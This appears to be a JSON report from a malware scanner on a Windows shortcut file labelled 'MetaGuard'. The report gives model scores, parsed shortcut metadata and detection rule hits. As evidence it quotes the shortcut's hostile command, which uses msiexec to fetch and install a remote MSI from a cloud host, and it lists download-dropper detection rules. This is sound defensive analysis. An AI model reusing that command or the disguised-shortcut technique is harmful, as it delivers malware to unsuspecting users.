{
  "ml": {
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    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 1.0
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/lnk",
        "prob": 1.0,
        "class": 2
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    ],
    "version": "v17.17",
    "threshold": 1.0,
    "analyzed_at": "2026-05-31T03:56:24Z"
  },
  "path": "16184b7deefa162348cc37c1836dc9d2d63aab5887ae740f7cd2c67672b4d2cd.lnk",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(C)Th",
        "x": 68,
        "ff": {
          "m": {
            "lnk": {
              "file_size": 69632.0,
              "args_leading_tabs": 0.0,
              "args_leading_spaces": 0.0,
              "args_whitespace_total": 1.0,
              "args_max_whitespace_run": 1.0
            },
            "file": {
              "size": 1556.0,
              "entropy": 4.56,
              "size_bytes": 1556.0
            }
          },
          "s": [
            [
              137,
              "u8",
              "Windows"
            ],
            [
              223,
              "u8",
              "System32"
            ],
            [
              313,
              "u8",
              "msiexec.exe"
            ],
            [
              444,
              "u8",
              "C:\\Windows\\System32\\msiexec.exe"
            ],
            [
              895,
              "u8",
              "desktop-bl8ccul"
            ]
          ],
          "v": {
            "file.stem": "16184b7deefa162348cc37c1836dc9d2d63aab5887ae740f7cd2c67672b4d2cd",
            "file.basename": "16184b7deefa162348cc37c1836dc9d2d63aab5887ae740f7cd2c67672b4d2cd.lnk",
            "lnk.arguments": "/i \"http://ec2-54-202-55-124.us-west-2.compute.amazonaws.com/Installer.msi\"",
            "lnk.blocks[0]": "special_folder",
            "lnk.blocks[1]": "known_folder",
            "lnk.blocks[2]": "tracker",
            "lnk.blocks[3]": "property_store",
            "lnk.description": "MetaGuard",
            "lnk.target_path": "C:\\Windows\\System32\\msiexec.exe",
            "lnk.icon_location": "%SystemRoot%\\explorer.exe",
            "lnk.relative_path": "..\\..\\..\\..\\..\\..\\Windows\\System32\\msiexec.exe",
            "lnk.volume.serial": 1245055201,
            "lnk.header.flags[0]": "has_link_target_id_list",
            "lnk.header.flags[1]": "has_link_info",
            "lnk.header.flags[2]": "has_name",
            "lnk.header.flags[3]": "has_relative_path",
            "lnk.header.flags[4]": "has_working_dir",
            "lnk.header.flags[5]": "has_arguments",
            "lnk.header.flags[6]": "has_icon_location",
            "lnk.header.flags[7]": "is_unicode",
            "lnk.header.flags[8]": "enable_target_metadata",
            "lnk.known_folder_id": "1ac14e77-02e7-4e5d-b744-2eb1ae5198b7",
            "lnk.header.file_size": 69632,
            "lnk.header.icon_index": 11,
            "lnk.header.write_time": 132201833843510299,
            "lnk.special_folder_id": 37,
            "lnk.volume.drive_type": "fixed",
            "lnk.working_directory": "C:\\Windows\\system32",
            "lnk.header.access_time": 132718989309499943,
            "lnk.tracker.file_droid": "da713adc-eed3-11eb-a045-18c04df193ef",
            "lnk.tracker.machine_id": "desktop-bl8ccul",
            "lnk.header.show_command": "normal",
            "lnk.tracker.mac_address": "18:c0:4d:f1:93:ef",
            "lnk.header.creation_time": 132201833843510299,
            "lnk.tracker.volume_droid": "ba8729c4-e140-467a-8e78-8122a1634bf6",
            "lnk.header.file_attributes[0]": "archive"
          },
          "id": "lnk"
        },
        "id": 0,
        "sz": 1556,
        "ts": [
          {
            "a": "T1204.002",
            "c": 0.800000011920929,
            "d": "LNK arguments contain HTTP URL",
            "e": [
              "/i \"http://ec2-54-202-55-124.us-west-2.compute.amazonaws.com/Installer.msi\""
            ],
            "i": "objectives/command-and-control/dropper/lnk/heuristic::kv-http-in-args",
            "l": 4,
            "el": [
              "value:lnk.arguments"
            ]
          },
          {
            "c": 0.800000011920929,
            "d": "LNK contains UTF-16 parent traversal",
            "e": [
              "2E 00 2E 00 5C 00 2E 00 2E 00 5C 00"
            ],
            "i": "micro-behaviors/fs/traversal/parent::lnk-utf16-relative-parent-chain",
            "l": 1,
            "el": [
              "0x1f3"
            ]
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "LNK has command-line arguments",
            "e": [
              "/i \"http://ec2-54-202-55-124.us-west-2.compute.amazonaws.com/Installer.msi\""
            ],
            "i": "objectives/command-and-control/dropper/lnk/target::has-arguments",
            "l": 1,
            "el": [
              "value:lnk.arguments"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Identifies download artefacts in shortcut (LNK) files.",
            "e": [
              "$"
            ],
            "i": "third_party/bartblaze/generic/LNK_Ruleset/download_in_lnk",
            "l": 4,
            "el": [
              "offset:0x281"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Identifies CDN (Content Delivery Network) domain in shortcut (LNK) file.",
            "e": [
              "$"
            ],
            "i": "third_party/bartblaze/generic/LNK_Ruleset/cdn_in_lnk",
            "l": 4,
            "el": [
              "offset:0x2d7"
            ]
          }
        ],
        "sha": "16184b7deefa162348cc37c1836dc9d2d63aab5887ae740f7cd2c67672b4d2cd",
        "path": "16184b7deefa162348cc37c1836dc9d2d63aab5887ae740f7cd2c67672b4d2cd.lnk",
        "type": "lnk"
      }
    ],
    "tv": "52045"
  }
}